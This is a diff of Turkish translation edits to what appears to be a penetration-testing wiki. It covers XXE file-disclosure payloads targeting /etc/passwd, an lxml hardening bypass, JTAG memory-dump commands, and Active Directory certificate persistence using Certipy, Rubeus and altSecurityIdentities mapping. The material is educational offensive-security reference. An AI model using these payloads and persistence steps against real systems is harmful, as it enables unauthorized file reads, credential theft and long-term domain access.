@ -408,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ediyorsa çalışır.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7)%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir.
|
||||
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir etkileşim seviyesini gösterir.
|
||||
|
||||
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
|
||||
```
|
||||
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
|
||||
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır.
|
||||
|
||||
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için, Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
||||
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Parametre-Varlık XXE (Hata Tabanlı Dosya Açığa Çıkarma)
|
||||
|
||||
> [!INFO]
|
||||
> Python kütüphanesi **lxml**, arka planda **libxml2** kullanır. **lxml 5.4.0 / libxml2 2.13.8** sürümlerinden önce, `resolve_entities=False` olduğunda bile *parametre* varlıklarını genişletir, bu da uygulama `load_dtd=True` ve/veya `resolve_entities=True` etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömülü hata tabanlı XXE yüklerini mümkün kılar.
|
||||
> Python kütüphanesi **lxml**, arka planda **libxml2** kullanır. **lxml 5.4.0 / libxml2 2.13.8** sürümlerinden önce, `resolve_entities=False` olduğunda bile *parametre* varlıklarını genişletir, bu da uygulama `load_dtd=True` ve/veya `resolve_entities=True` etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömen Hata Tabanlı XXE yüklerini mümkün kılar.
|
||||
|
||||
#### 1. lxml < 5.4.0'ı Sömürmek
|
||||
1. Diskte **tanımsız** bir parametre varlığını tanımlayan veya oluşturan bir *yerel* DTD belirleyin (örneğin, `%config_hex;`).
|
||||
@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Tanımsız varlığı yeniden tanımlar, böylece:
|
||||
- Hedef dosyayı okur (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- `%flag;` değerini içeren **geçersiz bir yol** referans veren başka bir parametre varlığı oluşturur ve bir ayrıştırıcı hatası tetikler (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Son olarak, `%local_dtd;` ve `%eval;` genişletin, böylece ayrıştırıcı `%error;` ile karşılaşır, `/aaa/<FLAG>` açmayı başaramaz ve bayrağı fırlatılan istisna içinde açığa çıkarır – bu genellikle uygulama tarafından kullanıcıya geri döner.
|
||||
3. Son olarak, `%local_dtd;` ve `%eval;` genişletin, böylece ayrıştırıcı `%error;` ile karşılaşır, `/aaa/<FLAG>` dosyasını açamaz ve bayrağı fırlatılan istisna içinde açığa çıkarır – bu genellikle uygulama tarafından kullanıcıya geri döner.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -714,8 +714,8 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
#### 2. lxml 5.4.0 sertleştirmesini atlamak (libxml2 hala savunmasız)
|
||||
`lxml` ≥ 5.4.0, yukarıdaki gibi *hata* parametre varlıklarını yasaklar, ancak **libxml2** bunların *genel* bir varlık içinde gömülmesine hala izin verir. Hile şudur:
|
||||
1. Dosyayı bir parametre varlığı `%file` içine okuyun.
|
||||
2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *var olmayan bir protokol* kullanır.
|
||||
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında dosya içeriği de dahil olmak üzere tam URI'yi yansıtır.
|
||||
2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *mevcut olmayan bir protokol* kullanır.
|
||||
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi – dosya içeriği de dahil – yansıtır.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
@ -732,7 +732,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
* Bu teknik, **dışa bağlantı olmadan** çalışır, bu da onu katı çıkış filtreli ortamlar için ideal hale getirir.
|
||||
|
||||
#### Azaltma rehberi
|
||||
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2** sürümünün **≥ 2.13.8** olduğundan emin olun.
|
||||
* **lxml ≥ 5.4.0** sürümüne yükseltin ve temel **libxml2**'nin **≥ 2.13.8** olduğundan emin olun.
|
||||
* Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın.
|
||||
* Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
|
||||
|
||||
@ -765,15 +765,15 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Eğer uygulama DTD'leri dahili olarak desteklemek zorundaysa, `disallow-doctype-decl` özelliğini devre dışı bırakın, ancak **her zaman** iki `external-*-entities` özelliğini `false` olarak ayarlayın. Bu kombinasyon, klasik dosya ifşası yüklerini (`file:///etc/passwd`) ve ağ tabanlı SSRF vektörlerini (`http://169.254.169.254/…`, `jar:` protokolü vb.) engeller.
|
||||
|
||||
Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesini sağlayabilirdi.
|
||||
Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesine neden olabilirdi.
|
||||
|
||||
### JMF/Print Orkestrasyon Hizmetlerinde XXE → SSRF
|
||||
### XXE in JMF/Print Orchestration Services → SSRF
|
||||
|
||||
Bazı yazdırma iş akışı/orkestrasyon platformları, TCP üzerinden XML kabul eden ağ tabanlı bir İş Mesajlaşma Formatı (JMF) dinleyicisi sunar. Eğer temel ayrıştırıcı bir `DOCTYPE` kabul ediyorsa ve dış varlıkları çözümlüyorsa, sunucunun dışa doğru istekler yapmasını (SSRF) veya yerel kaynaklara erişmesini sağlamak için klasik bir XXE'yi kullanabilirsiniz.
|
||||
Bazı yazdırma iş akışı/orchestrasyon platformları, TCP üzerinden XML kabul eden ağ tabanlı Job Messaging Format (JMF) dinleyicisi sunar. Eğer temel ayrıştırıcı bir `DOCTYPE` kabul ediyorsa ve dış varlıkları çözüyorsa, sunucunun dışa yönelik istekler yapmasını (SSRF) veya yerel kaynaklara erişmesini sağlamak için klasik bir XXE'yi kullanabilirsiniz.
|
||||
|
||||
Gerçek hayatta gözlemlenen ana noktalar:
|
||||
- Özel bir portta (genellikle Xerox FreeFlow Core'da 4004) ağ dinleyicisi (örneğin, JMF istemcisi).
|
||||
- `disallow-doctype-decl` veya varlık çözümlemesi devre dışı bırakılmadan bir jar içinde Java tabanlı XML ayrıştırma (örneğin, `jmfclient.jar`).
|
||||
- `disallow-doctype-decl` veya varlık çözümü devre dışı bırakılmadan bir jar içinde Java tabanlı XML ayrıştırma (örneğin, `jmfclient.jar`).
|
||||
- Dışarıdan geri çağırmalar güvenilir bir şekilde istismar doğrulaması yapar.
|
||||
|
||||
Minimal JMF tarzı SSRF denemesi (yapı ürüne göre değişir ama DOCTYPE önemlidir):
|
||||
|
@ -11,7 +11,7 @@ README.md
|
||||
[**JTAGenum**](https://github.com/cyphunk/JTAGenum), bilinmeyen JTAG pin düzenlerini zorlamak ve hatta talimat kayıtlarını numaralandırmak için bir Arduino uyumlu MCU veya (deneysel olarak) bir Raspberry Pi'ye yükleyebileceğiniz bir araçtır.
|
||||
|
||||
- Arduino: dijital pinleri D2–D11'i 10'a kadar şüpheli JTAG pad/test noktalarına bağlayın ve Arduino GND'yi hedef GND'ye bağlayın. Hedefi ayrı bir şekilde besleyin, aksi takdirde rayın güvenli olduğunu bilmiyorsanız. 3.3 V mantığını tercih edin (örneğin, Arduino Due) veya 1.8–3.3 V hedefleri incelerken bir seviye dönüştürücü/seri dirençler kullanın.
|
||||
- Raspberry Pi: Pi yapısı daha az kullanılabilir GPIO sunar (bu nedenle taramalar daha yavaştır); güncel pin haritası ve kısıtlamalar için repoyu kontrol edin.
|
||||
- Raspberry Pi: Pi yapısı daha az kullanılabilir GPIO'lar sunar (bu nedenle taramalar daha yavaştır); güncel pin haritası ve kısıtlamalar için repoyu kontrol edin.
|
||||
|
||||
Yüklendikten sonra, 115200 baud hızında seri monitörü açın ve yardım için `h` gönderin. Tipik akış:
|
||||
|
||||
@ -31,19 +31,19 @@ Geçerli bir TAP bulunursa, keşfedilen pinleri gösteren `FOUND!` ile başlayan
|
||||
|
||||
İpuçları
|
||||
- Her zaman toprak paylaşın ve bilinmeyen pinleri hedef Vtref'in üzerine çıkarmayın. Şüphe durumunda, aday pinlerde 100–470 Ω seri dirençler ekleyin.
|
||||
- Cihaz 4 telli JTAG yerine SWD/SWJ kullanıyorsa, JTAGenum bunu tespit edemeyebilir; SWD araçlarını veya SWJ‑DP'yi destekleyen bir adaptörü deneyin.
|
||||
- Cihaz 4 telli JTAG yerine SWD/SWJ kullanıyorsa, JTAGenum bunu tespit edemeyebilir; SWD araçlarını veya SWJ-DP'yi destekleyen bir adaptörü deneyin.
|
||||
|
||||
## Daha güvenli pin avlama ve donanım kurulumu
|
||||
## Daha güvenli pin avı ve donanım kurulumu
|
||||
|
||||
- Öncelikle bir multimetre ile Vtref ve GND'yi belirleyin. Birçok adaptör, I/O voltajını ayarlamak için Vtref'e ihtiyaç duyar.
|
||||
- Seviye kaydırma: itme-çekme sinyalleri için tasarlanmış iki yönlü seviye dönüştürücüler tercih edin (JTAG hatları açık-drenaj değildir). JTAG için otomatik yönlendirme I2C dönüştürücülerden kaçının.
|
||||
- Kullanışlı adaptörler: FT2232H/FT232H kartları (örneğin, Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (satıcıya özgü), ESP‑USB‑JTAG (ESP32‑Sx üzerinde). En azından TCK, TMS, TDI, TDO, GND ve Vtref'i bağlayın; isteğe bağlı olarak TRST ve SRST.
|
||||
- Seviye kaydırma: itme-çekme sinyalleri için tasarlanmış iki yönlü seviye kaydırıcıları tercih edin (JTAG hatları açık-drenaj değildir). JTAG için otomatik yönlendirme I2C kaydırıcılarından kaçının.
|
||||
- Kullanışlı adaptörler: FT2232H/FT232H kartları (örneğin, Tigard), CMSIS-DAP, J-Link, ST-LINK (satıcıya özgü), ESP-USB-JTAG (ESP32-Sx üzerinde). En azından TCK, TMS, TDI, TDO, GND ve Vtref'i bağlayın; isteğe bağlı olarak TRST ve SRST.
|
||||
|
||||
## OpenOCD ile ilk temas (tarama ve IDCODE)
|
||||
|
||||
OpenOCD, JTAG/SWD için de-facto OSS'dir. Desteklenen bir adaptör ile zinciri tarayabilir ve IDCODE'ları okuyabilirsiniz:
|
||||
OpenOCD, JTAG/SWD için de facto OSS'dir. Desteklenen bir adaptör ile zinciri tarayabilir ve IDCODE'ları okuyabilirsiniz:
|
||||
|
||||
- J‑Link ile genel bir örnek:
|
||||
- J-Link ile genel bir örnek:
|
||||
```
|
||||
openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
|
||||
-c "init; scan_chain; shutdown"
|
||||
@ -70,7 +70,7 @@ openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
|
||||
openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
|
||||
-c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
|
||||
```
|
||||
- ESP32‑S3, OpenOCD yardımcı programı aracılığıyla programla veya oku:
|
||||
- ESP32‑S3, OpenOCD yardımcı programı aracılığıyla programlama veya okuma:
|
||||
```
|
||||
openocd -f board/esp32s3-builtin.cfg \
|
||||
-c "program_esp app.bin 0x10000 verify exit"
|
||||
@ -83,7 +83,7 @@ Tips
|
||||
|
||||
CPU hata ayıklama erişimi kilitli olsa bile, boundary-scan hala açığa çıkabilir. UrJTAG/OpenOCD ile şunları yapabilirsiniz:
|
||||
- Sistem çalışırken pin durumlarını anlık görüntülemek için SAMPLE kullanın (veri yolu aktivitesini bulun, pin eşlemesini doğrulayın).
|
||||
- Pinleri sürmek için EXTEST kullanın (örneğin, kart bağlantısı izin veriyorsa, harici SPI flash hatlarını MCU aracılığıyla bit-bang ile okuyun).
|
||||
- Pinleri sürmek için EXTEST kullanın (örneğin, kart bağlantısı izin veriyorsa, MCU aracılığıyla harici SPI flash hatlarını bit-bang ile okuyun).
|
||||
|
||||
FT2232x adaptörü ile minimal UrJTAG akışı:
|
||||
```
|
||||
@ -95,11 +95,11 @@ jtag> instruction EXTEST
|
||||
jtag> shift ir
|
||||
jtag> dr <bit pattern for boundary register>
|
||||
```
|
||||
Bölge kayıt bit sıralamasını bilmek için cihaz BSDL'ye ihtiyacınız var. Bazı satıcıların üretimde sınır tarama hücrelerini kilitlediğine dikkat edin.
|
||||
Cihazın sınır kaydı bit sıralamasını bilmek için BSDL'ye ihtiyacınız var. Bazı satıcıların üretimde sınır tarama hücrelerini kilitlediğine dikkat edin.
|
||||
|
||||
## Modern hedefler ve notlar
|
||||
|
||||
- ESP32‑S3/C3, yerel bir USB‑JTAG köprüsü içerir; OpenOCD, harici bir prob olmadan doğrudan USB üzerinden iletişim kurabilir. Tahlil ve dökümler için çok kullanışlı.
|
||||
- ESP32‑S3/C3, yerel bir USB‑JTAG köprüsü içerir; OpenOCD, harici bir prob olmadan doğrudan USB üzerinden iletişim kurabilir. Tahlil ve döküm için çok kullanışlı.
|
||||
- RISC‑V hata ayıklama (v0.13+) OpenOCD tarafından geniş ölçüde desteklenmektedir; çekirdek güvenli bir şekilde durdurulamadığında bellek erişimi için SBA'yı tercih edin.
|
||||
- Birçok MCU, hata ayıklama kimlik doğrulaması ve yaşam döngüsü durumları uygular. JTAG ölü görünüyorsa ancak güç doğruysa, cihaz kapalı bir duruma kilitlenmiş olabilir veya kimlik doğrulaması yapılmış bir prob gerektirebilir.
|
||||
|
||||
|
@ -1,56 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Bir ping yanıtında TTL:\
|
||||
127 = Windows\
|
||||
254 = Cisco\
|
||||
Diğerleri, bazı linux
|
||||
|
||||
$1$- md5\
|
||||
$2$ veya $2a$ - Blowfish\
|
||||
$5$- sha256\
|
||||
$6$- sha512
|
||||
|
||||
Bir hizmetin arkasında ne olduğunu bilmiyorsanız, bir HTTP GET isteği yapmayı deneyin.
|
||||
|
||||
**UDP Taramaları**\
|
||||
nc -nv -u -z -w 1 \<IP> 160-16
|
||||
|
||||
Boş bir UDP paketi belirli bir porta gönderilir. Eğer UDP portu açıksa, hedef makineden geri bir yanıt gönderilmez. Eğer UDP portu kapalıysa, hedef makineden bir ICMP port ulaşılamaz paketi gönderilmelidir.\
|
||||
|
||||
UDP port taraması genellikle güvenilir değildir, çünkü güvenlik duvarları ve yönlendiriciler ICMP\
|
||||
paketlerini düşürebilir. Bu, taramanızda yanlış pozitiflere yol açabilir ve taranan bir makinede tüm UDP portlarının açık olduğunu gösteren UDP port taramaları göreceksiniz.\
|
||||
Çoğu port tarayıcı tüm mevcut portları taramaz ve genellikle taranan "ilginç portlar" için önceden ayarlanmış bir listeye sahiptir.
|
||||
|
||||
# CTF - Hileler
|
||||
|
||||
**Windows**'ta dosyaları aramak için **Winzip** kullanın.\
|
||||
**Alternatif veri Akışları**: _dir /r | find ":$DATA"_\
|
||||
```
|
||||
binwalk --dd=".*" <file> #Extract everything
|
||||
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
|
||||
```
|
||||
## Kripto
|
||||
|
||||
**featherduster**\
|
||||
|
||||
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
|
||||
**Base32**(5 —>8) —> A…Z, 2…7\
|
||||
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
|
||||
**Uuencode** --> "_begin \<mode> \<filename>_" ile başla ve garip karakterler\
|
||||
**Xxencoding** --> "_begin \<mode> \<filename>_" ile başla ve B64\
|
||||
\
|
||||
**Vigenere** (frekans analizi) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
|
||||
**Scytale** (karakterlerin kaydırılması) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
|
||||
|
||||
**25x25 = QR**
|
||||
|
||||
factordb.com\
|
||||
rsatool
|
||||
|
||||
Snow --> Mesajları boşluklar ve sekmeler kullanarak gizle
|
||||
|
||||
# Karakterler
|
||||
|
||||
%E2%80%AE => RTL Karakteri (yükleme dosyalarını ters yazar)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Sertifikalar ile Aktif Kullanıcı Kimlik Bilgisi Hırsızlığını Anlamak – PERSIST1
|
||||
|
||||
Bir kullanıcının alan kimlik doğrulamasına izin veren bir sertifika talep edebileceği bir senaryoda, bir saldırgan bu sertifikayı talep etme ve çalma fırsatına sahip olur, böylece bir ağda sürekliliği sürdürebilir. Varsayılan olarak, Active Directory'deki `User` şablonu bu tür taleplere izin verir, ancak bazen devre dışı bırakılabilir.
|
||||
Bir kullanıcının alan kimlik doğrulamasına izin veren bir sertifika talep edebileceği bir senaryoda, bir saldırganın bu sertifikayı talep etme ve çalma fırsatı vardır, böylece bir ağda sürekliliği sağlamak için. Varsayılan olarak, Active Directory'deki `User` şablonu bu tür taleplere izin verir, ancak bazen devre dışı bırakılabilir.
|
||||
|
||||
[Certify](https://github.com/GhostPack/Certify) veya [Certipy](https://github.com/ly4k/Certipy) kullanarak, istemci kimlik doğrulamasına izin veren etkin şablonları arayabilir ve ardından birini talep edebilirsiniz:
|
||||
```bash
|
||||
@ -19,9 +19,9 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
|
||||
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
|
||||
```
|
||||
Bir sertifikanın gücü, sertifikanın ait olduğu kullanıcı olarak kimlik doğrulama yeteneğinde yatar; şifre değişikliklerinden bağımsız olarak, sertifika geçerli kaldığı sürece.
|
||||
Bir sertifikanın gücü, sertifikanın ait olduğu kullanıcı olarak kimlik doğrulama yeteneğinde yatar; şifre değişikliklerinden bağımsız olarak, sertifika geçerli olduğu sürece.
|
||||
|
||||
PEM'i PFX'e dönüştürebilir ve bunu bir TGT almak için kullanabilirsiniz:
|
||||
PEM'i PFX'e dönüştürebilir ve bunu bir TGT elde etmek için kullanabilirsiniz:
|
||||
```bash
|
||||
# Convert PEM returned by Certify to PFX
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0
|
||||
```
|
||||
## Sürekliliği Sertifika Yenileme ile Uzatma - PERSIST3
|
||||
|
||||
Sertifika şablonlarının geçerlilik ve yenileme sürelerinden faydalanmak, bir saldırganın uzun vadeli erişim sağlamasına olanak tanır. Daha önce verilmiş bir sertifikaya ve onun özel anahtarına sahipseniz, süresi dolmadan önce yenileyerek, orijinal ilkeden bağlı ek istek kalıntıları bırakmadan taze, uzun ömürlü bir kimlik bilgisi elde edebilirsiniz.
|
||||
Sertifika şablonlarının geçerlilik ve yenileme sürelerinden faydalanmak, bir saldırganın uzun vadeli erişim sağlamasına olanak tanır. Daha önce verilmiş bir sertifikaya ve onun özel anahtarına sahipseniz, süresi dolmadan önce yenileyerek, orijinal anahtara bağlı ek istek kalıntıları bırakmadan taze, uzun ömürlü bir kimlik bilgisi elde edebilirsiniz.
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
@ -57,20 +57,20 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> Operasyonel ipucu: Saldırganın elindeki PFX dosyalarının ömürlerini takip edin ve erken yenileyin. Yenileme, güncellenmiş sertifikaların modern SID eşleme uzantısını içermesine neden olabilir ve bu da onları daha katı DC eşleme kuralları altında kullanılabilir kılar (bkz. sonraki bölüm).
|
||||
> Operasyonel ipucu: Saldırganın elindeki PFX dosyalarının ömürlerini takip edin ve erken yenileyin. Yenileme, güncellenmiş sertifikaların modern SID eşleme uzantısını içermesine neden olabilir, bu da onları daha katı DC eşleme kuralları altında kullanılabilir kılar (bkz. sonraki bölüm).
|
||||
|
||||
## Açık Sertifika Eşlemeleri Yerleştirme (altSecurityIdentities) – PERSIST4
|
||||
|
||||
Hedef bir hesabın `altSecurityIdentities` niteliğine yazabiliyorsanız, saldırgan kontrolündeki bir sertifikayı o hesaba açıkça eşleyebilirsiniz. Bu, şifre değişiklikleri boyunca devam eder ve güçlü eşleme formatları kullanıldığında, modern DC uygulamaları altında işlevsel kalır.
|
||||
Hedef bir hesabın `altSecurityIdentities` niteliğine yazabiliyorsanız, saldırgan kontrolündeki bir sertifikayı o hesaba açıkça eşleyebilirsiniz. Bu, şifre değişiklikleri arasında kalıcıdır ve güçlü eşleme formatları kullanıldığında, modern DC uygulamaları altında işlevsel kalır.
|
||||
|
||||
Yüksek seviyeli akış:
|
||||
|
||||
1. Kontrol ettiğiniz bir istemci kimlik doğrulama sertifikası edinin veya verin (örneğin, `User` şablonunu kendiniz olarak kaydedin).
|
||||
2. sertifikadan güçlü bir tanımlayıcı çıkarın (Issuer+Serial, SKI veya SHA1-PublicKey).
|
||||
2. sertifikadan güçlü bir tanımlayıcı çıkarın (Yayımcı+Seri, SKI veya SHA1-PublicKey).
|
||||
3. O tanımlayıcıyı kullanarak kurbanın `altSecurityIdentities` niteliğine açık bir eşleme ekleyin.
|
||||
4. Sertifikanızla kimlik doğrulaması yapın; DC bunu kurbana açık eşleme aracılığıyla eşler.
|
||||
4. Sertifikanızla kimlik doğrulaması yapın; DC bunu açık eşleme aracılığıyla kurbana eşler.
|
||||
|
||||
Güçlü bir Issuer+Serial eşlemesi kullanarak örnek (PowerShell):
|
||||
Örnek (PowerShell) güçlü bir Yayımcı+Seri eşlemesi kullanarak:
|
||||
```powershell
|
||||
# Example values - reverse the issuer DN and serial as required by AD mapping format
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
|
||||
@ -85,7 +85,7 @@ Sonra PFX'inizle kimlik doğrulaması yapın. Certipy doğrudan bir TGT alacakt
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
Notlar
|
||||
- Sadece güçlü eşleme türlerini kullanın: X509IssuerSerialNumber, X509SKI veya X509SHA1PublicKey. Zayıf formatlar (Subject/Issuer, yalnızca Subject, RFC822 e-posta) kullanımdan kaldırılmıştır ve DC politikası tarafından engellenebilir.
|
||||
- Sadece güçlü eşleme türlerini kullanın: X509IssuerSerialNumber, X509SKI veya X509SHA1PublicKey. Zayıf formatlar (Subject/Issuer, Subject-only, RFC822 e-posta) kullanımdan kaldırılmıştır ve DC politikası tarafından engellenebilir.
|
||||
